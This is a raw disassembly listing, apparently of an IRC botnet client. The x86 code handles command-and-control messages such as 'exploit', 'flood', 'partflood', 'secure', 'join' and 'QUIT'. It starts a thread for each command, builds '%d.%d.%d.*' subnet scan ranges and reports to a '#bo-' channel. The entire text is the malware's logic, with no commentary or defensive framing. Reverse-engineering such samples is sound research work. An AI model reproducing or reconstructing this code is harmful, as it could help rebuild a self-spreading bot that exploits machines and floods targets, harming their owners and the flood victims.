call sub_415B31
lea eax, [ebp-2C0h]
push offset dword_42D238
push eax
call sub_41BA76
add esp, 14h
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_4040C0: ; CODE XREF: seg000:004032B6j
; seg000:004032CBj
push 27h
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_4040F1
cmp [ebp-8], ebx
jnz loc_401F82
push ebx
push dword ptr [ebp-4]
push offset unk_42D218
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
jmp loc_408C2F
; ---------------------------------------------------------------------------
loc_4040F1: ; CODE XREF: seg000:004040CAj
push dword ptr [ebp-88h]
lea eax, [ebp-0B28h]
push 80h
push eax
call sub_41BB70
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-0B2Ch], eax
mov eax, [ebp-4]
mov [ebp-0AA0h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-0A9Ch], eax
mov [ebp-0AA4h], ebx
jz short loc_404152
push esi
push offset aFull ; "full"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404152
mov dword ptr [ebp-0AA4h], 1
loc_404152: ; CODE XREF: seg000:00404135j
; seg000:00404146j
lea eax, [ebp-2C0h]
push offset dword_42D1F4
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 27h
push eax
call sub_40AF71
add esp, 14h
mov [ebp-0AA8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0B2Ch]
push ebx
push eax
push offset sub_419AB6
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0AA8h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_4041D2
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C0h]
push offset unk_42D1B8
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_403FC8
; ---------------------------------------------------------------------------
loc_4041CA: ; CODE XREF: seg000:004041D8j
push 32h
call ds:dword_428064 ; Sleep
loc_4041D2: ; CODE XREF: seg000:004041A8j
cmp [ebp-0A98h], ebx
jz short loc_4041CA
jmp loc_403FC8
; ---------------------------------------------------------------------------
loc_4041DF: ; CODE XREF: seg000:0040328Cj
; seg000:004032A1j
cmp [ebp-8], ebx
jnz short loc_4041FE
push ebx
push dword ptr [ebp-4]
push offset dword_42D19C
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_4041FE: ; CODE XREF: seg000:004041E2j
push dword ptr [ebp+0Ch]
call ds:dword_4CDC90 ; closesocket
call ds:dword_4CDB50 ; WSACleanup
call sub_41853D
push ebx
call ds:dword_428068 ; ExitProcess
loc_404219: ; CODE XREF: seg000:00403262j
; seg000:00403277j
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call sub_41AC18
pop ecx
pop ecx
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push offset dword_42D180
jmp short loc_404271
; ---------------------------------------------------------------------------
loc_404244: ; CODE XREF: seg000:00403238j
; seg000:0040324Dj
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_41AECC
add esp, 0Ch
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push offset dword_42D164
loc_404271: ; CODE XREF: seg000:00403F60j
; seg000:00404242j
call sub_4152AE
loc_404276: ; CODE XREF: seg000:00408977j
add esp, 18h
jmp loc_409753
; ---------------------------------------------------------------------------
loc_40427E: ; CODE XREF: seg000:0040320Ej
; seg000:00403223j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_41534E
loc_404292: ; CODE XREF: seg000:00401EC5j
; seg000:00403FEDj ...
add esp, 10h
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_40429A: ; CODE XREF: seg000:004031E4j
; seg000:004031F9j
cmp [ebp-0Ch], ebx
mov [ebp-1590h], bl
jz short loc_4042D9
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_4042D9
push esi
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042D9
push eax
push offset aS_2 ; "%s"
lea eax, [ebp-1590h]
push 80h
push eax
call sub_41BB70
add esp, 10h
loc_4042D9: ; CODE XREF: seg000:004042A3j
; seg000:004042AEj ...
push dword ptr [ebp-88h]
lea eax, [ebp-1610h]
push 80h
push eax
call sub_41BB70
mov eax, [ebp+0Ch]
push offset dword_42D14C
mov [ebp-1614h], eax
mov eax, [ebp-4]
mov [ebp-150Ch], eax
mov eax, [ebp-8]
mov [ebp-1508h], eax
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 25h
push eax
call sub_40AF71
add esp, 20h
mov [ebp-1510h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1614h]
push ebx
push eax
push offset byte_41538F
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-1510h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40437C
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D114
jmp loc_4098CE
; ---------------------------------------------------------------------------
loc_404374: ; CODE XREF: seg000:00404382j
push 32h
call ds:dword_428064 ; Sleep
loc_40437C: ; CODE XREF: seg000:00404361j
cmp [ebp-1504h], ebx
jz short loc_404374
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_404389: ; CODE XREF: seg000:004031BAj
; seg000:004031CFj
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_415236
push offset dword_42D0FC
call sub_4152AE
loc_4043A4: ; CODE XREF: seg000:00403EC4j
add esp, 10h
jmp loc_409753
; ---------------------------------------------------------------------------
loc_4043AC: ; CODE XREF: seg000:00403190j
; seg000:004031A5j
push dword ptr [ebp-88h]
lea eax, [ebp-0BC0h]
push 80h
push eax
call sub_41BB70
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-0BC4h], eax
mov eax, [ebp-4]
mov [ebp-0B38h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-0B34h], eax
jz short loc_404406
push offset dword_42D0F8
push esi
call sub_41C260
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-0B3Ch], eax
jmp short loc_40440C
; ---------------------------------------------------------------------------
loc_404406: ; CODE XREF: seg000:004043EAj
mov [ebp-0B3Ch], ebx
loc_40440C: ; CODE XREF: seg000:00404404j
lea eax, [ebp-2C0h]
push offset dword_42D0D8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 28h
push eax
call sub_40AF71
add esp, 14h
mov [ebp-0B40h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0BC4h]
push ebx
push eax
push offset dword_40AFDC
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0B40h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40448C
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D09C
loc_404470: ; CODE XREF: seg000:0040917Dj
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_404484: ; CODE XREF: seg000:00404492j
push 32h
call ds:dword_428064 ; Sleep
loc_40448C: ; CODE XREF: seg000:00404462j
cmp [ebp-0B30h], ebx
jz short loc_404484
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_404499: ; CODE XREF: seg000:00403114j
; seg000:00403129j
push offset aFenr ; "FEnR"
lea eax, [ebp-2C0h]
push offset dword_42D084
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 20h
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_4044D0: ; CODE XREF: seg000:004030EAj
; seg000:004030FFj
push ds:dword_4CD93C
call sub_41AA78
push eax
lea eax, [ebp-2C0h]
push offset unk_42D058
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 24h
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_40450E: ; CODE XREF: seg000:004030C0j
; seg000:004030D5j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_404540
cmp [ebp-0Ch], ebx
jz short loc_40454F
push esi
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40454F
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
add esp, 0Ch
jmp short loc_40454F
; ---------------------------------------------------------------------------
loc_404540: ; CODE XREF: seg000:00404517j
push offset aQuitLater ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
pop ecx
pop ecx
loc_40454F: ; CODE XREF: seg000:0040451Cj
; seg000:0040452Bj ...
push 0FFFFFFFEh
pop eax
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_404557: ; CODE XREF: seg000:00403096j
; seg000:004030ABj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push offset dword_42D008
call sub_4152AE
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_404579: ; CODE XREF: seg000:0040306Cj
; seg000:00403081j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
push offset dword_42CFD4
call sub_4152AE
add esp, 0Ch
jmp loc_4096BF
; ---------------------------------------------------------------------------
loc_404598: ; CODE XREF: seg000:00403042j
; seg000:00403057j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B63A
jmp loc_404968
; ---------------------------------------------------------------------------
loc_4045AE: ; CODE XREF: seg000:00403018j
; seg000:0040302Dj
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B5E6
jmp loc_404968
; ---------------------------------------------------------------------------
loc_4045C4: ; CODE XREF: seg000:00402FEEj
; seg000:00403003j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B57B
jmp loc_404968
; ---------------------------------------------------------------------------
loc_4045DA: ; CODE XREF: seg000:00402FC4j
; seg000:00402FD9j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B4AD
jmp loc_404968
; ---------------------------------------------------------------------------
loc_4045F0: ; CODE XREF: seg000:00402F1Fj
; seg000:00402F34j
push dword ptr [ebp+esi-8Ch]
push 27h
push offset dword_42CFC4
push offset dword_42CFB4
jmp short loc_404618
; ---------------------------------------------------------------------------
loc_404605: ; CODE XREF: seg000:00402EF5j
; seg000:00402F0Aj
push dword ptr [ebp+esi-8Ch]
push 24h
push offset dword_42CFA8
push offset dword_42CF98
loc_404618: ; CODE XREF: seg000:00402AFAj
; seg000:00402B4Dj ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B1F9
add esp, 20h
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_404634: ; CODE XREF: seg000:00402B0Ej
; seg000:00402B23j
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
jz short loc_404653
push edi
call sub_41B969
test eax, eax
pop ecx
jz short loc_404653
push edi
call sub_41B969
pop ecx
jmp short loc_404658
; ---------------------------------------------------------------------------
loc_404653: ; CODE XREF: seg000:0040463Dj
; seg000:00404648j
mov eax, ds:dword_42A078
loc_404658: ; CODE XREF: seg000:00404651j
mov esi, [ebp+esi-88h]
mov [ebp-58Ch], eax
cmp esi, ebx
jz short loc_40467D
push esi
loc_40466A: ; CODE XREF: seg000:0040468Cj
lea eax, [ebp-59Ch]
push 10h
push eax
call sub_41BB70
add esp, 0Ch
jmp short loc_404694
; ---------------------------------------------------------------------------
loc_40467D: ; CODE XREF: seg000:00404667j
cmp [ebp-8FBh], bl
jz short loc_40468E
lea eax, [ebp-0C0h]
push eax
jmp short loc_40466A
; ---------------------------------------------------------------------------
loc_40468E: ; CODE XREF: seg000:00404683j
mov [ebp-59Ch], bl
loc_404694: ; CODE XREF: seg000:0040467Bj
mov eax, [ebp-4]
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
mov [ebp-580h], eax
mov eax, [ebp-8]
push 80h
mov [ebp-57Ch], eax
lea eax, [ebp-61Ch]
push eax
mov [ebp-620h], esi
call sub_41BB70
add esp, 0Ch
push dword ptr [ebp-58Ch]
push esi
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset dword_42CF70
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 19h
push eax
call sub_40AF71
add esp, 1Ch
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-620h]
push ebx
push eax
push offset loc_411354
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_404748
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42CF34
jmp loc_4098CE
; ---------------------------------------------------------------------------
loc_404740: ; CODE XREF: seg000:0040474Ej
push 32h
call ds:dword_428064 ; Sleep
loc_404748: ; CODE XREF: seg000:0040472Dj
cmp [ebp-578h], ebx
jz short loc_404740
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_404755: ; CODE XREF: seg000:00402ABBj
; seg000:00402AD0j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_404775
push esi
call sub_41B969
test ax, ax
pop ecx
jz short loc_404775
push esi
call sub_41B969
pop ecx
jmp short loc_40477B
; ---------------------------------------------------------------------------
loc_404775: ; CODE XREF: seg000:0040475Ej
; seg000:0040476Aj
mov ax, ds:word_42A088
loc_40477B: ; CODE XREF: seg000:00404773j
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
mov edi, [ebp-4]
mov [ebp-978h], ax
mov eax, [ebp-8]
push 80h
mov [ebp-968h], eax
lea eax, [ebp-9F8h]
push eax
mov [ebp-9FCh], esi
mov [ebp-96Ch], edi
call sub_41BB70
movzx eax, word ptr [ebp-978h]
add esp, 0Ch
push eax
push esi
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_42CF08
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push edi
push eax
push dword ptr [ebp-88h]
push esi
call sub_409966
push ebx
lea eax, [ebp-2C0h]
push 6
push eax
call sub_40AF71
add esp, 30h
mov [ebp-974h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-9FCh]
push ebx
push eax
push offset word_40E8D2
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-974h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40484D
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42CEC8
jmp loc_4098CE
; ---------------------------------------------------------------------------
loc_404845: ; CODE XREF: seg000:00404853j
push 32h
call ds:dword_428064 ; Sleep
loc_40484D: ; CODE XREF: seg000:00404832j
cmp [ebp-964h], ebx
jz short loc_404845
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_40485A: ; CODE XREF: seg000:00402A67j
; seg000:00402A7Cj ...
push edi
push offset aSecure ; "secure"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_404882
push edi
push offset aSec ; "sec"
call sub_41C260
pop ecx
mov [ebp-0A0Ch], ebx
test eax, eax
pop ecx
jnz short loc_40488C
loc_404882: ; CODE XREF: seg000:00404869j
mov dword ptr [ebp-0A0Ch], 1
loc_40488C: ; CODE XREF: seg000:00404880j
push dword ptr [ebp-88h]
lea eax, [ebp-0A90h]
push 80h
push eax
call sub_41BB70
mov eax, [ebp+0Ch]
add esp, 0Ch
cmp [ebp-0A0Ch], ebx
mov [ebp-0A94h], eax
mov eax, [ebp-4]
mov [ebp-0A08h], eax
mov eax, [ebp-8]
mov [ebp-0A04h], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4048D3
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4048D3: ; CODE XREF: seg000:004048CCj
push eax
push offset dword_42CE94
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41BB70
push ebx
lea eax, [ebp-2C0h]
push 22h
push eax
call sub_40AF71
add esp, 1Ch
mov [ebp-0A10h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0A94h]
push ebx
push eax
push offset sub_419FE4
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0A10h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40494A
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42CE58
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_404942: ; CODE XREF: seg000:00404950j
push 32h
call ds:dword_428064 ; Sleep
loc_40494A: ; CODE XREF: seg000:0040492Fj
cmp [ebp-0A00h], ebx
jz short loc_404942
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_404957: ; CODE XREF: seg000:00402A3Dj
; seg000:00402A52j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_41A89B
loc_404968: ; CODE XREF: seg000:004045A9j
; seg000:004045BFj ...
add esp, 0Ch
jmp loc_409753
; ---------------------------------------------------------------------------
loc_404970: ; CODE XREF: seg000:00402A13j
; seg000:00402A28j
push offset unk_42CDA8
jmp loc_4061FF
; ---------------------------------------------------------------------------
loc_40497A: ; CODE XREF: seg000:004029E9j
; seg000:004029FEj
push offset aFenr_0 ; "FEnR"
push offset dword_42CD98
jmp loc_406C70
; ---------------------------------------------------------------------------
loc_404989: ; CODE XREF: seg000:004029BFj
; seg000:004029D4j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_4049E5
push esi
call sub_41B969
cmp eax, ebx
pop ecx
jl short loc_4049DA
cmp eax, 1
jge short loc_4049DA
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_4049CF
lea eax, [esi+1]
push eax
lea eax, [ebp-2C0h]
push offset unk_42E058
push eax
call sub_41BA76
mov [esi], bl
jmp loc_405F4E
; ---------------------------------------------------------------------------
loc_4049CF: ; CODE XREF: seg000:004049B1j
push eax
push offset unk_42CD6C
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_4049DA: ; CODE XREF: seg000:0040499Dj
; seg000:004049A2j
push eax
push offset unk_42CD40
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_4049E5: ; CODE XREF: seg000:00404992j
mov edi, [ebp+20h]
xor esi, esi
loc_4049EA: ; CODE XREF: seg000:00404A06j
push dword ptr [ebp-90h]
push edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_404A0D
inc esi
add edi, 80h
cmp esi, 1
jl short loc_4049EA
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_404A0D: ; CODE XREF: seg000:004049FAj
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C0h]
push eax
push offset unk_42E058
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_404A27: ; CODE XREF: seg000:00402995j
; seg000:004029AAj
push dword ptr [ebp-8Ch]
push offset dword_42DFCC
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403449
call sub_40B134
push ebx
call ds:dword_428068 ; ExitProcess
loc_404A4D: ; CODE XREF: seg000:00403482j
push offset aGet ; "get"
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_404AF3
cmp ds:dword_4D137C, ebx
jz short loc_404A79
push offset dword_4D0D60
push offset unk_42CD04
jmp loc_404B05
; ---------------------------------------------------------------------------
loc_404A79: ; CODE XREF: seg000:00404A68j
push 10h
pop eax
mov [ebp-2D4h], eax
push eax
lea eax, [ebp-2E4h]
push ebx
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp-2D4h]
push eax
lea eax, [ebp-2E4h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_428230 ; getsockname
movzx eax, byte ptr [ebp-2DEh]
push eax
movzx eax, byte ptr [ebp-2DFh]
push eax
movzx eax, byte ptr [ebp-2E0h]
push eax
lea eax, [ebp-0D9Ch]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41BA76
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-2C0h]
push offset unk_42CD04
push eax
call sub_41BA76
add esp, 20h
jmp loc_4034A1
; ---------------------------------------------------------------------------
loc_404AF3: ; CODE XREF: seg000:00404A5Cj
push esi
call ds:dword_4CDC38 ; inet_addr
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404B19
push offset unk_42CCC4
loc_404B05: ; CODE XREF: seg000:00404A74j
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_4034A1
; ---------------------------------------------------------------------------
loc_404B19: ; CODE XREF: seg000:00404AFEj
push offset dword_4D0D60
call sub_41C0A0
push esi
lea eax, [ebp-2C0h]
push offset unk_42CC98
push eax
mov ds:dword_4D137C, 1
call sub_41BA76
add esp, 14h
jmp loc_4034A1
; ---------------------------------------------------------------------------
loc_404B47: ; CODE XREF: seg000:0040346Aj
push edi
push offset aExploit ; "exploit"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_404C40
mov eax, [ebp-4]
mov esi, offset aBo_0 ; "#bo-"
mov [ebp-13E0h], eax
mov eax, [ebp-8]
mov [ebp-13DCh], eax
mov eax, [ebp+0Ch]
mov [ebp-13F0h], eax
mov edi, 80h
push esi
lea eax, [ebp-1470h]
push edi
push eax
mov dword ptr [ebp-13E8h], 1
call sub_41BB70
push esi
lea eax, [ebp-14F0h]
push edi
push eax
call sub_41BB70
push dword ptr [ebp+18h]
lea eax, [ebp-1500h]
push 10h
push eax
call sub_41BB70
lea eax, [ebp-1500h]
push eax
lea eax, [ebp-2C0h]
push offset unk_42CC60
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 8
push eax
call sub_40AF71
add esp, 3Ch
mov [ebp-13E4h], eax
lea eax, [ebp-308h]
push eax
lea eax, [ebp-1500h]
push ebx
push eax
push offset dword_40B700
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-13E4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_404C33
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42CC20
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_404C2B: ; CODE XREF: seg000:00404C39j
push 32h
call ds:dword_428064 ; Sleep
loc_404C33: ; CODE XREF: seg000:00404C18j
cmp [ebp-13D8h], ebx
jz short loc_404C2B
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_404C40: ; CODE XREF: seg000:00404B56j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4096C6
push edi
push offset aRin ; "rin"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4096C6
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409680
push edi
push offset aRinms ; "rinms"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409680
push dword ptr [ebp+10h]
push offset aFlood ; "flood"
call sub_41C260
mov edi, ds:dword_428064
pop ecx
test eax, eax
pop ecx
jnz loc_4057FC
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
push dword ptr [ebp+18h]
push offset aLoad ; "load"
call sub_41C260
add esp, 0Ch
test eax, eax
jnz short loc_404D43
cmp [ebp+esi-80h], ebx
jz short loc_404D43
push dword ptr [ebp+esi-80h]
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+esi-84h]
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+esi-88h]
call sub_417ABA
push dword ptr [ebp+esi-84h]
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+esi-80h]
push offset unk_42CBB8
push eax
call sub_41BA76
add esp, 20h
cmp [ebp-8], ebx
jnz short loc_404D43
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_404D43: ; CODE XREF: seg000:00404CCFj
; seg000:00404CD5j ...
push dword ptr [ebp+18h]
push offset dword_42CBB4
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404DAC
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404DAC
push offset asc_42E0C8 ; " "
push offset dword_42CBB0
push eax
call sub_4180DD
push eax
lea eax, [ebp-50F0h]
push eax
call sub_41C0A0
lea eax, [ebp-50F0h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_42CBA0
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 28h
loc_404DAC: ; CODE XREF: seg000:00404D54j
; seg000:00404D5Fj
push dword ptr [ebp+18h]
push offset dword_42CB9C
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404E15
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404E15
push offset asc_42E0C8 ; " "
push offset dword_42CBB0
push eax
call sub_4180DD
push eax
lea eax, [ebp-4BECh]
push eax
call sub_41C0A0
lea eax, [ebp-4BECh]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_42CB88
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 28h
loc_404E15: ; CODE XREF: seg000:00404DBDj
; seg000:00404DC8j
push dword ptr [ebp+18h]
push offset aNt ; "nt"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404E7E
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404E7E
push offset asc_42E0C8 ; " "
push offset dword_42CBB0
push eax
call sub_4180DD
push eax
lea eax, [ebp-46E8h]
push eax
call sub_41C0A0
lea eax, [ebp-46E8h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 28h
loc_404E7E: ; CODE XREF: seg000:00404E26j
; seg000:00404E31j
push dword ptr [ebp+18h]
push offset aMode ; "mode"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404EE7
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_404EE7
push offset asc_42E0C8 ; " "
push offset dword_42CBB0
push eax
call sub_4180DD
push eax
lea eax, [ebp-4DECh]
push eax
call sub_41C0A0
lea eax, [ebp-4DECh]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 28h
loc_404EE7: ; CODE XREF: seg000:00404E8Fj
; seg000:00404E9Aj
push dword ptr [ebp+18h]
push offset aJoin ; "join"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404F26
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz short loc_404F26
push eax
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 10h
loc_404F26: ; CODE XREF: seg000:00404EF8j
; seg000:00404F03j
push dword ptr [ebp+18h]
push offset aPart_0 ; "part"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404F65
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz short loc_404F65
push eax
lea eax, [ebp-2C0h]
push offset aPartS ; "part %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 10h
loc_404F65: ; CODE XREF: seg000:00404F37j
; seg000:00404F42j
push dword ptr [ebp+18h]
push offset aPartflood ; "partflood"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_404FA9
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz short loc_404FA9
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp-2C0h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_404FA9: ; CODE XREF: seg000:00404F76j
; seg000:00404F81j
push dword ptr [ebp+18h]
push offset aPnick ; "pnick"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40501E
cmp [ebp+esi-88h], ebx
jz short loc_40501E
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
call sub_41BAD2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp-1804h]
push edx
push dword ptr [ebp+esi-88h]
push offset dword_42CB18
push eax
call sub_41BA76
